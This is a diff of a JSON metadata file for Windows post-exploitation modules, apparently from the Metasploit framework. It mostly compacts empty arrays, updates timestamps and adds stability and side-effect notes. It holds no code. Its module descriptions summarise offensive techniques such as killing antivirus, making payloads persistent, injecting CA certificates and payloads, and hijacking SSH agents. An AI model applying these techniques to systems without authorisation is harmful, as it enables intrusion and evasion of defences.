"description": "This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a\n new process with the correct architecture and migrates into that process.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/archmigrate.rb", "is_install_path": true, "ref_name": "windows/manage/archmigrate", @@ -277982,21 +279730,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/change_password": { "name": "Windows Manage Change Password", "fullname": "post/windows/manage/change_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278004,16 +279753,14 @@ "Ben Campbell " ], "description": "This module will attempt to change the password of the targeted account.\n The typical usage is to change a newly created account's password on a\n remote host to avoid the error, 'System error 1907 has occurred,' which\n is caused when the account policy enforces a password change before the\n next login.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/change_password.rb", "is_install_path": true, "ref_name": "windows/manage/change_password", @@ -278021,21 +279768,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/clone_proxy_settings": { "name": "Windows Manage Proxy Setting Cloner", "fullname": "post/windows/manage/clone_proxy_settings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278043,9 +279793,7 @@ "mubix " ], "description": "This module copies the proxy settings from the current user to the\n targeted user SID, supports remote hosts as well if remote registry\n is allowed.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278059,22 +279807,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/delete_user": { "name": "Windows Manage Local User Account Deletion", "fullname": "post/windows/manage/delete_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278082,16 +279825,14 @@ "chao-mu" ], "description": "This module deletes a local user account from the specified server,\n or the local machine if no server is given.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/delete_user.rb", "is_install_path": true, "ref_name": "windows/manage/delete_user", @@ -278099,21 +279840,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/dell_memory_protect": { "name": "Dell DBUtilDrv2.sys Memory Protection Modifier", "fullname": "post/windows/manage/dell_memory_protect", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "post", @@ -278147,9 +279891,7 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-os-restarts" ], @@ -278162,16 +279904,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/download_exec": { "name": "Windows Manage Download and/or Execute", "fullname": "post/windows/manage/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278179,16 +279917,14 @@ "RageLtMan " ], "description": "This module will download a file by importing urlmon via railgun.\n The user may also choose to execute the file with arguments via exec_string.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/download_exec.rb", "is_install_path": true, "ref_name": "windows/manage/download_exec", @@ -278196,21 +279932,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/driver_loader": { "name": "Windows Manage Driver Loader", "fullname": "post/windows/manage/driver_loader", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278218,16 +279957,14 @@ "Borja Merino " ], "description": "This module loads a KMD (Kernel Mode Driver) using the Windows Service API.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/driver_loader.rb", "is_install_path": true, "ref_name": "windows/manage/driver_loader", @@ -278235,21 +279972,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-down" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/enable_rdp": { "name": "Windows Manage Enable Remote Desktop", "fullname": "post/windows/manage/enable_rdp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278257,16 +279998,14 @@ "Carlos Perez " ], "description": "This module enables the Remote Desktop Service (RDP). It provides the options to create\n an account and configure it to be a member of the Local Administrators and\n Remote Desktop Users group. It can also forward the target's port 3389/tcp.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/enable_rdp.rb", "is_install_path": true, "ref_name": "windows/manage/enable_rdp", @@ -278274,21 +280013,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/enable_support_account": { "name": "Windows Manage Trojanize Support Account", "fullname": "post/windows/manage/enable_support_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278296,16 +280038,14 @@ "salcho " ], "description": "This module enables alternative access to servers and workstations\n by modifying the support account's properties. It will enable\n the account for remote access as the administrator user while\n taking advantage of some weird behavior in lusrmgr.msc. It will\n check if sufficient privileges are available for registry operations,\n otherwise it exits.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/enable_support_account.rb", "is_install_path": true, "ref_name": "windows/manage/enable_support_account", @@ -278313,21 +280053,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/exec_powershell": { - "name": "Windows Powershell Execution Post Module", + "name": "Windows PowerShell Execution Post Module", "fullname": "post/windows/manage/exec_powershell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278335,17 +280078,15 @@ "Nicholas Nam (nick ", "RageLtMan " ], - "description": "This module will execute a powershell script in a meterpreter session.\n The user may also enter text substitutions to be made in memory before execution.\n Setting VERBOSE to true will output both the script prior to execution and the results.", - "references": [ - - ], + "description": "This module will execute a PowerShell script in a meterpreter session.\n The user may also enter text substitutions to be made in memory before execution.\n Setting VERBOSE to true will output both the script prior to execution and the results.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/exec_powershell.rb", "is_install_path": true, "ref_name": "windows/manage/exec_powershell", @@ -278353,21 +280094,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/execute_dotnet_assembly": { - "name": "Execute .net Assembly (x64 only)", + "name": "Execute .NET Assembly", "fullname": "post/windows/manage/execute_dotnet_assembly", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278379,12 +280121,12 @@ "URL-https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/" ], "platform": "Windows", - "arch": "x64", + "arch": "x64, x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-19 12:36:32 +0000", + "mod_time": "2025-05-13 16:49:25 +0000", "path": "/modules/post/windows/manage/execute_dotnet_assembly.rb", "is_install_path": true, "ref_name": "windows/manage/execute_dotnet_assembly", @@ -278398,24 +280140,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/forward_pageant": { "name": "Forward SSH Agent Requests To Remote Pageant", "fullname": "post/windows/manage/forward_pageant", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278424,9 +280160,7 @@ "Ben Campbell " ], "description": "This module forwards SSH agent requests from a local socket to a remote Pageant instance.\n If a target Windows machine is compromised and is running Pageant, this will allow the\n attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are\n tunneled through the meterpreter session. This could therefore be used to authenticate\n with a remote host using a private key which is loaded into a remote user's Pageant instance,\n without ever having knowledge of the private key itself.\n\n Note that this requires the PageantJacker meterpreter extension, but this will be automatically\n loaded into the remote meterpreter session by this module if it is not already loaded.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278444,27 +280178,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/hashcarve": { "name": "Windows Local User Account Hash Carver", "fullname": "post/windows/manage/hashcarve", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278472,16 +280198,14 @@ "p3nt4" ], "description": "This module will change a local user's password directly in the registry.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/hashcarve.rb", "is_install_path": true, "ref_name": "windows/manage/hashcarve", @@ -278489,21 +280213,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/ie_proxypac": { "name": "Windows Manage Proxy PAC File", "fullname": "post/windows/manage/ie_proxypac", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278521,7 +280248,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/ie_proxypac.rb", "is_install_path": true, "ref_name": "windows/manage/ie_proxypac", @@ -278529,21 +280256,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/inject_ca": { "name": "Windows Manage Certificate Authority Injection", "fullname": "post/windows/manage/inject_ca", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278551,16 +280281,14 @@ "vt " ], "description": "This module allows the attacker to insert an arbitrary CA certificate\n into the victim's Trusted Root store.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/inject_ca.rb", "is_install_path": true, "ref_name": "windows/manage/inject_ca", @@ -278568,21 +280296,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/inject_host": { "name": "Windows Manage Hosts File Injection", "fullname": "post/windows/manage/inject_host", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278590,16 +280322,14 @@ "vt " ], "description": "This module allows the attacker to insert a new entry into the target\n system's hosts file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/inject_host.rb", "is_install_path": true, "ref_name": "windows/manage/inject_host", @@ -278607,21 +280337,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/install_python": { "name": "Install Python for Windows", "fullname": "post/windows/manage/install_python", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278650,9 +280383,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "artifacts-on-disk", "ioc-in-logs" @@ -278662,16 +280393,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/install_ssh": { "name": "Install OpenSSH for Windows", "fullname": "post/windows/manage/install_ssh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278689,7 +280416,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/install_ssh.rb", "is_install_path": true, "ref_name": "windows/manage/install_ssh", @@ -278697,22 +280424,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/kerberos_tickets": { "name": "Kerberos Ticket Management", "fullname": "post/windows/manage/kerberos_tickets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278731,7 +280462,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-10-24 17:32:48 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/windows/manage/kerberos_tickets.rb", "is_install_path": true, "ref_name": "windows/manage/kerberos_tickets", @@ -278740,14 +280471,10 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" @@ -278771,9 +280498,7 @@ "post_windows/manage/killav": { "name": "Windows Post Kill Antivirus and Hips", "fullname": "post/windows/manage/killav", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278784,9 +280509,7 @@ "OJ Reeves" ], "description": "This module attempts to locate and terminate any processes that are identified\n as being Antivirus or Host-based IPS related.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278804,12 +280527,8 @@ "Stability": [ "os-resource-loss" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -278817,16 +280536,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/make_token": { "name": "Make Token Command", "fullname": "post/windows/manage/make_token", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278835,16 +280550,14 @@ "Simone Salucci (saim1z)" ], "description": "In its default configuration, this module creates a new network security context with the specified\n logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and\n a new logon session is created and linked to that token. The token is then impersonated to acquire\n the new network security context. This module has no effect on local actions - only on remote ones\n (where the specified credential material will be used). This module does not validate the credentials\n specified.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-06 09:07:57 +0000", + "mod_time": "2025-06-17 12:20:49 +0000", "path": "/modules/post/windows/manage/make_token.rb", "is_install_path": true, "ref_name": "windows/manage/make_token", @@ -278870,16 +280583,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/migrate": { "name": "Windows Manage Process Migration", "fullname": "post/windows/manage/migrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278888,16 +280597,14 @@ "phra " ], "description": "This module will migrate a Meterpreter session from one process\n to another. A given process PID to migrate to or the module can spawn one and\n migrate to that newly spawned process.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/migrate.rb", "is_install_path": true, "ref_name": "windows/manage/migrate", @@ -278905,21 +280612,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/mssql_local_auth_bypass": { "name": "Windows Manage Local Microsoft SQL Server Authorization Bypass", "fullname": "post/windows/manage/mssql_local_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278927,16 +280637,14 @@ "Scott Sutherland " ], "description": "When this module is executed, it can be used to add a sysadmin to local\n SQL Server instances. It first attempts to gain LocalSystem privileges\n using the \"getsystem\" escalation methods. If those privileges are not\n sufficient to add a sysadmin, then it will migrate to the SQL Server\n service process associated with the target instance. The sysadmin\n login is added to the local SQL Server using native SQL clients and\n stored procedures. If no instance is specified then the first identified\n instance will be used.\n\n Why is this possible? By default in SQL Server 2k-2k8, LocalSystem\n is assigned syadmin privileges. Microsoft changed the default in\n SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.\n However, this can be overcome by migrating to the SQL Server process.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-31 18:07:07 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/mssql_local_auth_bypass.rb", "is_install_path": true, "ref_name": "windows/manage/mssql_local_auth_bypass", @@ -278944,21 +280652,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/multi_meterpreter_inject": { "name": "Windows Manage Inject in Memory Multiple Payloads", "fullname": "post/windows/manage/multi_meterpreter_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278966,17 +280677,15 @@ "Carlos Perez ", "David Kennedy \"ReL1K\" " ], - "description": "This module will inject in to several processes a given\n payload and connecting to a given list of IP Addresses.\n The module works with a given lists of IP Addresses and\n process PIDs if no PID is given it will start a the given\n process in the advanced options and inject the selected\n payload in to the memory of the created module.", - "references": [ - - ], + "description": "This module will inject into several processes a given\n payload and connect to a given list of IP addresses.\n The module works with a given lists of IP addresses and\n process IDs if no PID is given it will start the given\n process in the advanced options and inject the selected\n payload into the memory of the created module.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/multi_meterpreter_inject.rb", "is_install_path": true, "ref_name": "windows/manage/multi_meterpreter_inject", @@ -278984,21 +280693,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/nbd_server": { "name": "Windows Manage Local NBD Server for Remote Disks", "fullname": "post/windows/manage/nbd_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279006,16 +280716,14 @@ "Wesley McGrew " ], "description": "Maps remote disks and logical volumes to a local Network Block\n Device server. Allows for forensic tools to be executed on the remote disk directly.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/nbd_server.rb", "is_install_path": true, "ref_name": "windows/manage/nbd_server", @@ -279023,21 +280731,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/peinjector": { "name": "Peinjector", "fullname": "post/windows/manage/peinjector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279045,16 +280754,14 @@ "Maximiliano Tedesco " ], "description": "This module will inject a specified windows payload into a target executable.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-15 14:56:46 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/peinjector.rb", "is_install_path": true, "ref_name": "windows/manage/peinjector", @@ -279062,38 +280769,39 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/persistence_exe": { "name": "Windows Manage Persistent EXE Payload Installer", "fullname": "post/windows/manage/persistence_exe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Merlyn drforbin Cousins " ], - "description": "This Module will upload an executable to a remote host and make it Persistent.\n It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,\n SYSTEM will start on system boot but requires privs. SERVICE will create a new service\n which will start the payload. Again requires privs.", - "references": [ - - ], + "description": "This module will upload an executable to a remote host and make it Persistent.\n It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,\n SYSTEM will start on system boot but requires privs. SERVICE will create a new service\n which will start the payload. Again requires privs.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/persistence_exe.rb", "is_install_path": true, "ref_name": "windows/manage/persistence_exe", @@ -279116,16 +280824,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/portproxy": { "name": "Windows Manage Set Port Forwarding With PortProxy", "fullname": "post/windows/manage/portproxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279133,16 +280837,14 @@ "Borja Merino " ], "description": "This module uses the PortProxy interface from netsh to set up\n port forwarding persistently (even after reboot). PortProxy\n supports TCP IPv4 and IPv6 connections.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/portproxy.rb", "is_install_path": true, "ref_name": "windows/manage/portproxy", @@ -279150,21 +280852,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/powershell/build_net_code": { "name": "Powershell .NET Compiler", "fullname": "post/windows/manage/powershell/build_net_code", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-14", "type": "post", @@ -279172,16 +280877,14 @@ "RageLtMan " ], "description": "This module will build a .NET source file using powershell. The compiler builds\n the executable or library in memory and produces a binary. After compilation the\n PowerShell session can also sign the executable if provided a path the\n a .pfx formatted certificate. Compiler options and a list of assemblies\n required can be configured in the datastore.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/powershell/build_net_code.rb", "is_install_path": true, "ref_name": "windows/manage/powershell/build_net_code", @@ -279189,21 +280892,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/powershell/exec_powershell": { "name": "Windows Manage PowerShell Download and/or Execute", "fullname": "post/windows/manage/powershell/exec_powershell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279212,16 +280916,14 @@ "RageLtMan " ], "description": "This module will download and execute a PowerShell script over a meterpreter session.\n The user may also enter text substitutions to be made in memory before execution.\n Setting VERBOSE to true will output both the script prior to execution and the results.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/powershell/exec_powershell.rb", "is_install_path": true, "ref_name": "windows/manage/powershell/exec_powershell", @@ -279229,21 +280931,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/powershell/load_script": { "name": "Load Scripts Into PowerShell Session", "fullname": "post/windows/manage/powershell/load_script", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279252,16 +280955,14 @@ "Dave Hardy davehardy20 " ], "description": "This module will download and execute one or more PowerShell scripts\n over a present powershell session.\n Setting VERBOSE to true will show the stager results.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/powershell/load_script.rb", "is_install_path": true, "ref_name": "windows/manage/powershell/load_script", @@ -279269,21 +280970,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/pptp_tunnel": { "name": "Windows Manage Remote Point-to-Point Tunneling Protocol", "fullname": "post/windows/manage/pptp_tunnel", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279300,7 +281002,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-09 10:51:17 +0000", "path": "/modules/post/windows/manage/pptp_tunnel.rb", "is_install_path": true, "ref_name": "windows/manage/pptp_tunnel", @@ -279308,21 +281010,24 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ 